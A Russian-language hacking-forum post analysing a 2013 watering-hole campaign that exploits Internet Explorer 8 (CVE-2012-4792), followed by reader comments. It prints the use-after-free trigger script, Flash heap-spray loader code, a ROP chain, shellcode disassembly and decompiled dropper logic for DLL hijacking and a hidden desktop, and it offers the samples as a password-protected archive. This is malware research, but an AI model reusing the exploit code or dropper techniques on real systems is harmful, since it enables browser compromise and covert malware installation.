• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Watering Hole Campaign

el-

Старожил форума
Легенда
Регистрация
21.10.2006
Сообщения
442
Реакции
12
Watering Hole Campaign

Хочу по быстрому рассказать про прикольную атаку на IE 8 кем то там, эксплоит особой ценности не имеет и был аж в декабре, но как его заюзали достойно уважения.

http://eromang.zataz.com/2013/01/15/wateri...ulnerabilities/
http://eromang.zataz.com/2013/01/22/report...-hole-campaign/
https://twitter.com/PhysicalDrive0/status/297375423996784640

- Общие сведения.

Первая часть дока по атаке, я по сути рассказываю тоже самое, проходя все на своем опыте

http://community.websense.com/blogs/securi...ry-domains.aspx

Сам эксп в реализации метасплоита и статья про него в их блоге

https://github.com/rapid7/metasploit-framew..._cbutton_uaf.rb

https://community.rapid7.com/community/meta...the-end-of-2012

Детальное описание одним гуру браузер эксплоитинга, на этой статье основывается код метасплоита

http://blog.exodusintel.com/2013/01/02/hap...-cve-2012-4792/

Все упомянутые в статье файлы, будут приатачены в архиве.

Остальное в хайде ...

- Выдача

Все начинается с index.html где 3 важных элемента 1 это собственно закриптованный js который можно глянуть в index.js, Длинная строка THISISIT с началом 'KKONG0ff7' о ней по позже и поле <div id=test>hello</div>.

Скрипт чекается версия браузера == ие8 и куки дабы пробивать только уникальных визитеров и делает запрос за файлом DOITYOUR01, проверяя есть ли он в наличие. В калбеке для w7 чекается присутствие activex SharePoint.OpenDocuments.x http://msdn.microsoft.com/en-us/library/ms...office.14).aspx или 6 явы, на них будет построен ROP шелкод под эту систему, под xp же отдается без доп проверок.

Так же в элемент test помещаются разные значения в зависимости от наличия того или иного объекта потом этим значением воспользуется флешь хип спреер

Код:
document.getElementById('test').innerHTML="cat";

Дальше пускается собственно флешь, а за ним в ифрейме триггер экспа. Сорец первого флеша в logo1229.txt, вся его суть чтобы анпакнуть из base64 другой флеш и передать его в лоадер

Код:
            var _loc_1:* = "1dTD50jAAB4nO1ZbW ….";
            var _loc_2:* = "6C/VbVG0wzBM7jIMS/ ….";
            var _loc_3:* = new ByteArray();
            _loc_3.writeBytes(base64("Q" + _loc_1));
            _loc_3.writeBytes(base64(_loc_2));
            this.loader1 = new Loader();
            this.loader1.contentLoaderInfo.addEventListener(Event.COMPLETE, this.showFunc);
            this.loader1.loadBytes(_loc_3);

Второй флешь сорцы которого есть в today.txt, в зависимости от версии венды её языка и значения переменой test в js, которая получается через ExternalInterface.call

Код:
_loc_3 = ExternalInterface.call("eval", "document.getElementById(\'test\').innerHTML");

собирает страницу размером 0x100000 с rop шелкодом + обычным шелкодом, меняется только роп шелкод под обе оси одинаковый, Спреит 320 таких страниц.

Хекс шелкода в файле sc.txt С помощью скрипта на питоне получаем бинарник sc.bin и смотрим его уже в ide.

Код:
def main():
	ret = ''
	sc = open('sc.txt','r').read()
	for i in range(0, len(sc), 2):
  h = sc[i:i+2]
  j = int(h,16)
  c = chr(j)
  ret += c
	open('sc.bin','w+b').write(ret)


if __name__ == '__main__':
    main()

Видно что шелкод криптованный и в иде кроме как декриптора ничего не увидишь

scida.png


О шелкоде расскажу чуть позже, и так создается ифрейм на DOITYOUR02.html, его скрипт стартует через 10 секунд, дабы флеш успел наспреить, кстати говоря из флеша вполне спокойно можно вызвать функцию в js не пришлось бы ждать, опять же передать значение которое флеш берез из 'test' там же можно было через flashvar, пришлось бы правда изменить реализацию, а зачастую сплоиты очень капризны так что мб реализация правильная.

Код:
<body onload="setTimeout(load,10000)">

Через 10 скрипт делает аякс запрос за DOITYOUR01.txt, декриптует
его содержимое и отдает в eval

Код:
function loader()
{
	var xmlhttp = ajax();
	xmlhttp.open('get', 'DOITYOUR01.txt', false); 
	xmlhttp.send();
	var page = xmlhttp.responseText;
	page=page.replace(/jj/g,"%");
	code=unescape(page);
	return code;
}
eval(loader());

- Бага СVE-2012-4792

Внутри же содержится сам триггер уязвимости

Код:
var e0 = null;
var e1 = null;
var e2 = null;
var arrObject = new Array(3000);
var elmObject = new Array(500);
for (var i = 0; i < arrObject.length; i++) {
    arrObject[i] = document.createElement('div');
    arrObject[i].className = unescape("ababababababababababababababababababababa");
}

for (var i = 0; i < arrObject.length; i += 2) {
    arrObject[i].className = null;
}
CollectGarbage();

for (var i = 0; i < elmObject.length; i++) {
    elmObject[i] = document.createElement('button');
}

for (var i = 1; i < arrObject.length; i += 2) {
    arrObject[i].className = null;
}
CollectGarbage();
try {
    location.href = 'ms-help://'
} catch (e) {}

try {
    e0 = document.getElementById("a");
    e1 = document.getElementById("b");
    e2 = document.createElement("q");
    e1.applyElement(e2);
    e1.appendChild(document.createElement('button'));
    e1.applyElement(e0);
    e2.outerText = "";
    e2.appendChild(document.createElement('body'));
} catch (e)
{
}
CollectGarbage();
for (var i = 0; i < 20; i++) {
    arrObject[i].className = unescape("ababababababababababababababababababababa");
}
window.location = unescape("%u0d0c%u10abhttps://www.google.com/settings/account");

Подробнее что и как можно посмотреть в ссылках что я накидал выше. Я собрал тестер в папке test, где test.html – главный файл который стартует флешь today.swf и создает ифрейм на trigger.html, тестировал я это на xp sp3 так что флеш по идеи выбрал дефолтный msvcrt.dll rop шеллкод. Так же я изменил строчку в тригере

Код:
window.location = unescape("%u4142%u4344https://www.google.com/settings/account");

теперь приатачевшись в процесс вкладки ишака ( у ишака несколько процессов, мастер который запускает процессы воркеры для каждой вкладки, все дело происходит именно и в них ) в ольке, а ловлю ACCESS_VIOLATION при попытки прыгнуть на невалидный адрес, т. к. Eax = 0x43444142, меняем eax на то значение которое должно быть 0x10AB0D0C

- ROP шелкод

iebug.png


eax = 10AB0D0C
[eax + 0xdc] = DS:[10AB0DE8]= 77C15ED5 (msvcrt.77C15ED5)

xchg.png


eax = старое значение стека
esp = 10AB0D0C, стек принимает следующий вид и от сюда свой путь начинает rop шелкод

ropdc.png


Как раз это же можно увидеть при построение rop'а во флеше под русский хп

Код:
            else if (Capabilities.language.toLowerCase() == "ru" && this.OS_Version == "windows xp")
            {
                _loc_7.writeInt(0x77C3EC01);
                _loc_7.writeInt(0x77C3EC01);
                _loc_7.writeInt(0x77C35B2E);
                _loc_7.writeInt(0x10AC0CA0);
                _loc_7.writeInt(0x55762378);
                _loc_7.writeInt(0x77C35B2B);
                _loc_7.writeInt(0x0);
                _loc_7.writeInt(0x55762378);
                _loc_7.writeInt(0x77C3E392);
                _loc_7.writeInt(0x77C0110C);
                _loc_7.writeInt(0x77C1E493);
                _loc_7.writeInt(0x55762378);
                _loc_7.writeInt(0x77C12755);
                _loc_7.writeInt(0x77C41025);
                _loc_7.writeInt(0x10AB0D0C);
                _loc_7.writeInt(8192);
                _loc_7.writeInt(4096);
                _loc_7.writeInt(64);
                _loc_7.writeInt(0xBCE9);
                _loc_7.writeInt(0);

Вначале пару retn'ов, за ним

popesiebp.png


esi = 10AC0CA0, просто область данных внутри хипа для своих нужд
ebp = 55762378, считай 0x41414141

movesi4eax.png


сохраняет старое значение стека, esi = 0, ebp = 55762378

popeaxvirtalloc.png


помещается в eax указатель на дворд в импорте, который указывает на VirtualAlloc

moveaxaddeax.png


помещается в eax адрес VirtualAlloc, ebp не меняется,

pushvirtalloc.png


вызывает VirtualAlloc, в стеке на данным момент

Код:
10AB0D40   77C51025  msvcrt.77C51025
10AB0D44   10AB0D0C
10AB0D48   00002000
10AB0D4C   00001000
10AB0D50   00000040
10AB0D54   0000BCE9
10AB0D58   00000000
10AB0D5C   38383838

где 77C51025 будет использоваться как адрес возврата при выходе из VirtualAlloc, следующие четыре значения аргументы для вызова функции, получается следующий вызов

Код:
VirtualAlloc((PVOID)0x010AB0D0C, 0x2000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

При таком вызове функция возвращает 10AB0000 и походу у странице меняется протекция на RWE

pushesp.png


т. к. данный гаджет передает управление на стек, где остается лежать

Код:
10AB0D54   0000BCE9
10AB0D58   00000000

что является JMP на шелкод, что надо сказать круто, я вот не знал что VirtualAlloc может менять протекцию страницы.

- Shellcode

Сам декриптованный код в файлах sc_dec.asm, sc_dec.idb. Декриптор

scdecrypt.png


Начало декриптованного шелкода, esp меняется на адрес внутри спрея, дальше поиск базы kernel32.dll ala http://skypher.com/wiki/index.php/Hacking/Shellcode/kernel32

scbegdec.png


сохраняется старое значение ebp, jmp в конец к данным call оттуда вверх, т.о. в стеке адресс на данные

scapi.png


в ebp указатель на данные 14 хешей апих которые передаются в функу поиска апи по хешу, хеш замещается адресом функи, получается что ebp указывает на таблицу апих.

Код:
0020028D  778EDC65  kernel32.LoadLibraryA
00200291  77908154  kernel32.GetTempPathA
00200295  7792EDAE  kernel32.WinExec
00200299  778EC266  kernel32.Sleep
0020029D  778FBBE2  kernel32.ExitProcess
002002A1  778E086B  kernel32.GetFileSize
002002A5  778EEA61  kernel32.CreateFileA
002002A9  778EE868  kernel32.CloseHandle
002002AD  778F53EE  kernel32.WriteFile
002002B1  778F060D  kernel32.SetFilePointer
002002B5  778EC43A  kernel32.VirtualAlloc
002002B9  778E9BAE  kernel32.ReadFile
002002BD  778E2BED  kernel32.SetEndOfFile
002002C1  778F6B15  kernel32.VirtualFree

Первым делом дергается GetTempPathA, потом путь дополняют именем dw20.EXE

Код:
0020006B   C78405 21010000 >MOV DWORD PTR SS:[EBP+EAX+121],'02wd'
00200076   8B4D 3C          MOV ECX,DWORD PTR SS:[EBP+3C]
00200079   85C9             TEST ECX,ECX
0020007B   75 0D            JNZ SHORT 0020008A
0020007D   C78405 25010000 >MOV DWORD PTR SS:[EBP+EAX+125],'EXE.'
00200088   EB 0B            JMP SHORT 00200095
0020008A   C78405 25010000 >MOV DWORD PTR SS:[EBP+EAX+125],'lld.'

А дальше интересный момент

scenumhdl.png


в [edi] помещается 0, который с каждым проходом увеличивается на 4, это по сути идет перечисление всех хендлов, который отдаются в GetFileSize, если все прошло без ошибок то проверяется длинна больше ли она 0x2000, в этом цикле идет поиск файлового хендла в котором лежит кеш первой страницы. Далее выделяется память VirtualAlloc, файловый указатель для этого файла поднимается в самый верх SetFilePointer читается кусок в выделенную память ReadFile. В скопированном идет поиск подстроки KKONG. Если забыли в файле index.html была строка var THISISIT = "KKONG ..."

Код:
10AB0F31   8B4D 38          MOV ECX,DWORD PTR SS:[EBP+38]
10AB0F34   B8 4B000000      MOV EAX,'K'
10AB0F39   8BBD 88010000    MOV EDI,DWORD PTR SS:[EBP+188]
10AB0F3F   49               DEC ECX
10AB0F40   74 0D            JE SHORT 10AB0F4F
10AB0F42   AE               SCAS BYTE PTR ES:[EDI]
10AB0F43  ^75 FA            JNZ SHORT 10AB0F3F
10AB0F45   813F 4B4F4E47    CMP DWORD PTR DS:[EDI],'GNOK'

При отладке не получалось найти нужный хендл, то ли процесс этот слишком долгий и хендл кеш файла закрывали то ли еще что то, в общем я через простую тулзу на си погрузил шелкод в память предварительно открыв index.html тогда поиск проходит удачно. Найдя нужно буфер декриптовал и перед глазами предстал обычный экзе.

sccrtfile.png


CreateFileA вызывается не просто так, по адресу + 5 дабы видимо перескочить возможные джампы, так же адрес возврата заменяется адресом по которой выстраивается конструкция

Код:
push real_addr
rent

Зачем это нужно я хз, возможно для обхода каких то там защит, каких то там ав фв или анализаторов поведения, но все равно раз хочется скрытности стоило подумать о том что бы опуститься ниже, какая разницы будь такой защищенный хук на CreateFileW ( вызывается внутри CreateFileA )и все было бы бес толку. Дальше ничего интересного CreateFileA → WriteFile → CloseHandle → WinExec причем он вызывается c такими же фишками как и CreateFile.

- Packer/dropper

Шелкод дропает и запускает файл dw20.EX_, походу написанный на дельфи или каком то там произведение Borland, во всяком случае добавив в иду сигну Delphi половина функций определяется, что надо сказать очень удобно. Вся суть этого файла это запуск сохраненного внутри PE образа

Код:
  v3 = get_resource_sub_403E84("DATA", &v4);
  if ( v3 )
  {
    System::__linkproc___GetMem(v3);
    v1 = v0;
    system_move_sub_403B3C(v0, v3, v4);
    decrypt_sub_403EC4(v1, v3);
    v2 = decompress_sub_403DD0(v1, &v3, 2);
    if ( v3 )
      pe_loader_sub_403B88(v2, 0);
    System::__linkproc___FreeMem(v1);
  }
  SendMessageA(dword_4097F8, 0x112u, 0xF060u, 0);
  ExitThread(0);

get_resource_sub_403E84 достает из ресурсов код, decrypt_sub_403EC4 дешифрует его, decompress_sub_403DD0 выделяет память VirtualAlloc и анпакает туда данные по средством RtlDecompressBuffer, pe_loader_sub_403B88 собственно настраивает образ и передает управление, так что пропускаем это все и переходим сразу к дампу Dump_00B90000_000A9000.bin дропера.

Тут опять дельфи и еще больше ресурсов с интересными названиями, опять сигны все отлично подсвечивают, так что можно сбросить мапу Produce file → Create MAP file и загрузить это все в ольку для непосредственного просмотра.

Код:
  v7 = 0;
  do
  {
    v8 = GetDesktopWindow();
    v7 += ValidateRect(v8, &Rect);
  }
  while ( v7 <= 150 );
  if ( v7 > 100 )
  {
    if ( v7 > 100 )
      main_proc_sub_404E40();
  }

Какой то хек вначале крутится в цикле, хз какой в этом смысл, мб какая то антиэмуляция, если кто знает поделитесь. Первая функа мейна start_bind_sub_40478C пытается получить ресурс bind, дропнуть его на винт и запустить, увы такого ресурса в поставке нету, мб он есть в других атаках, надо будет глянуть похожие новости, ничто так не усиливает интерес к чему то, как его недоступность :)

Код:
  start_bind_sub_40478C();
  v0 = get_os_ver_sub_404434() - 1;
  if ( v0 )
  {
    v1 = v0 - 1;
    if ( v1 )
    {
      result = v1 - 1;
      if ( !result )
      {
        if ( check_processor_sub_404718() )
        {
          result = install_sub_404B84();
        }
        else
        {
          if ( is_user_admin_sub_40447C() )
            result = drop_start_dll_sub_404A6C("%windir%\\wdmaud.drv", 0);
          else
            result = install_sub_404B84();
        }
      }
    }
    else
    {
      result = drop_start_dll_sub_404A6C("%windir%\\ntshrui.dll", -1);
    }
  }
  else
  {
    result = drop_start_dll_sub_404A6C("%windir%\\ntshrui.dll", -1);
  }

Дальше чекается версия венды get_os_ver_sub_404434 и в зависимости от нее идет разная установка в систему, тут будет рассмотрен только вариант на xp sp3, тупо вызов

Код:
result = drop_start_dll_sub_404A6C("%windir%\\ntshrui.dll", -1);

функа имеет следующий вид

Код:
  delete_dat_n_drop_shellcode_sub_40497C();
  ExpandEnvironmentStringsA(v3, &Dst, 0x104u);
  unknown_libname_39(&v10, &Dst, 261);
  if ( GetFileAttributes_sub_4043D8(v10) )
  {
    unknown_libname_39(&v9, &Dst, 261);
    delete_file_sub_404568(v9);
  }
  unknown_libname_39(&v8, &Dst, 261);
  drop_resource_sub_404908("startdll", v8);
  if ( v2 )
    start_explorer_on_desktop_sub_404870("virtual_desk_xxdd");

в функе delete_dat_n_drop_shellcode_sub_40497C, дропается шелкод из ресурсов в файл %windir%\\system32\\xmlcore.dat

Код:
  ExpandEnvironmentStringsA("%windir%\\system32\\xmlcore.dat", &FileName, 0x104u);
  unknown_libname_39(&v5, &FileName, 261);
  if ( GetFileAttributes_sub_4043D8(v5) )
    DeleteFileA(&FileName);
  unknown_libname_39(&v4, &FileName, 261);
  drop_resource_sub_404908("shellcode", v4);

дальше дропается сама startdll и в функе start_explorer_on_desktop_sub_404870 на новом десктопе запускается ишак

Код:
  result = CreateDesktopA(a1, 0, 0, 0, 0x10000000u, 0);
  if ( result )
  {
    System::__linkproc___FillChar(0, 16);
    System::__linkproc___FillChar(0, 68);
    StartupInfo.cb = 68;
    GetStartupInfoA_0(&StartupInfo);
    StartupInfo.lpDesktop = v1;
    StartupInfo.dwFlags = 129;
    v3 = CreateProcessA(0, "explorer", 0, 0, 0, 0x400800u, 0, 0, &StartupInfo, &ProcessInformation);
    result = WaitForSingleObject(v3, 0x1770u);

смысл всего этого рассказан здесь http://windowsir.blogspot.nl/2010/08/its-t...dlls-again.html , а именно

Some folks may feel that the method by which the DLL is designated to load (import table, file extension association, etc.) is irrelevant and inconsequential, and when it comes to a successful exploit, they'd be right. However, when attempting to determine the root cause, it's very important. Take Nick's post on the Mandiant blog, for example...we (me, and the team I work with) had seen this same issue, where Explorer.exe loaded ntshrui.dll, but not the one in the C:\Windows\system32 directory. Rather, the timeline I put together for the system showed the user logging in and several DLLs being loaded from the system32 directory, then C:\Windows\ntshrui.dll was loaded. The question then became, why was Explorer.exe loading this DLL? It turned out that when Explorer.exe loads, it checks the Registry for approved shell extensions, and then starts loading those DLLs. A good number of these approved shell extensions are listed in the Registry with explicit paths, pointing directly to the DLL (in most cases, in the system32 directory). However, for some reason, some of the DLLs are listed with implicit paths...just the name of the DLL is provided and Explorer.exe is left to its own devices to go find that DLL. Ntshrui.dll is one such DLL, and it turns out that in a domain environment, that particular DLL provides functionality to the shell that most folks aren't likely to miss; therefore, there are no overt changes to the Explorer shell that a user would report on.

т. е. раширения эксплорера описаны в реестре но без полного пути и как следствия грузятся откуда по ближе в данном случае из windir'ы. Поверив этому на слово, можно реверсить что там на дропал дропер.

* надо сказать что для w7 дропаются другие файлы и работа идет по другому, стоит посмотреть в будущем на предмет интересностей. Все необходимое для самостоятельного анализа бинарник, база иды и мапа в файлах Dump_00B90000_000A9000.*

- ntshrui.dll / shellcode

ntshrui толком ничего не делает кроме как проверяет, что она запущена внутри эксплорера, поднять wdmaud.drv и читает из xmlcore.dat shellcode и передает на него управления, т. к. wdmaud.drv на данный момент, при инстале на xp sp3 еще нет, то сразу можно браться за shellcode

Код:
      memcpy(&Src, "%windir%\\system32\\wdmaud.drv", 0x1Cu);
// ...
      if ( ExpandEnvironmentStringsA(&Src, &LibFileName, 0x104u) )
        LoadLibraryA(&LibFileName);
      result = read_n_alloc_sub_10001000("%windir%\\system32\\xmlcore.dat");
      if ( result )
      {
        v1 = CreateThread(0, 0, result, 0, 0, &ThreadId);
        result = CloseHandle(v1);
Shellcode начинается с call'а на декриптор

scdecrypt.png


Декриптуный вариант можно глянуть в sc2.bin, надо сказать шеллкод довольно большой 8kb, после долгой настройки апи и данных шелкод конектится к хосту на порт 4356 и начинает гонять от туда шелкоды ( первый в Dump_003A0000_00002000.bin, к обоим шелкодам есть базы иды с небольшими коментами по сам коду ) в которые передаются те же интерфейсы что и в первом шелкоде, т. е. все последующие юзают апи которые нашел первый, дальше дело доходит до скачки своего формата где есть имена длл которые надо загрузить, апи которые найти, строки которые помещаются в память и самое главное отдельные базонезависимые функи которые кидаются в память и между ними организовывается связь какой то своей виртуальной машиной. Я честно говоря надеялся все таки что в конце будет какой то экзе, но с такой реализацией в принципе он и не нужен, возможно вся дальнейшая работа с системой происходит по средством этих базонезависимых кусков которые получаются с сервера. Для конечного анализа не хватает времени, так бы спокойно разобрать шелкод по полкам, дабы поглядывая в иду все было ясно, расставить хуки как следуют дабы они логировали процесс работы этого шелкода и глядишь там дойти до конечного файла если таковой есть. Но времени увы и так было потрачено не мало, надеюсь успею вернуться к этому до того как ляжет серв управляющий атакой.

wslog.png


Если кто то хочет пореверсить и чего то не хватает спрашивайте расскажу покажу, пока сервер активный мб кому то получится понять основную цель атаки, так что стоит подождать второй части рассказа от websense мб они что то прояснят.

Password: ^whc_4-dL%$4
 

Вложения

  • article.rar
    330 КБ · Просмотры: 125
Какой то хек вначале крутится в цикле, хз какой в этом смысл, мб какая то антиэмуляция, если кто знает поделитесь.
думаю это проверка на вбоксы и прочее, нормальный юзер будет кликать мышой,
переключать окошки и координаты сменятся. а в песочнице оно просто зациклится и
по таймауту отвалится

ps Статья очень хорошая, побольше бы таких, с подробным тех описаловом
 
Да.. современные изощренные способы и вправду удивляют и завораживают. это уже ведь полноценный многоуровневый подход, где каждый модуль выполняет строго свои действия, и видать, раз реализация именно такая, она в чем то обусловленна. Целая куча методик всё таки делает своё дело, инфектят систему, но похоже, это не просто связка, заточенная под массовый инфект, там суть заражения гораздо глубже.

p.s. эль, радует что есть специалисты такого уровня как ты, которым это интересно, и которые делятся результатами ресерча... спасибо!
 
Пожалуйста, обратите внимание, что пользователь заблокирован
вызывает неслабое восхищение, что папка эль не только проделал такую работу, но и подготовил и опубликовал все это в статье. Реально огромное количество времени и сил. Глядя на статью, хочется немедленно поставить перед ним бутылку чего-нибудь эдакого.

И я уверен, что подобная реакция не у меня одного. Тогда все же... почему хайд? материал действительно интереснейший, и его с аппетитом поглотит огромное количество людей, на дамаге пока еще не присутствующих...
Может быть, после недели-двух, сделать его доступным для прочтения всем, чтобы можно было спокойно ссылаться на статью?
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх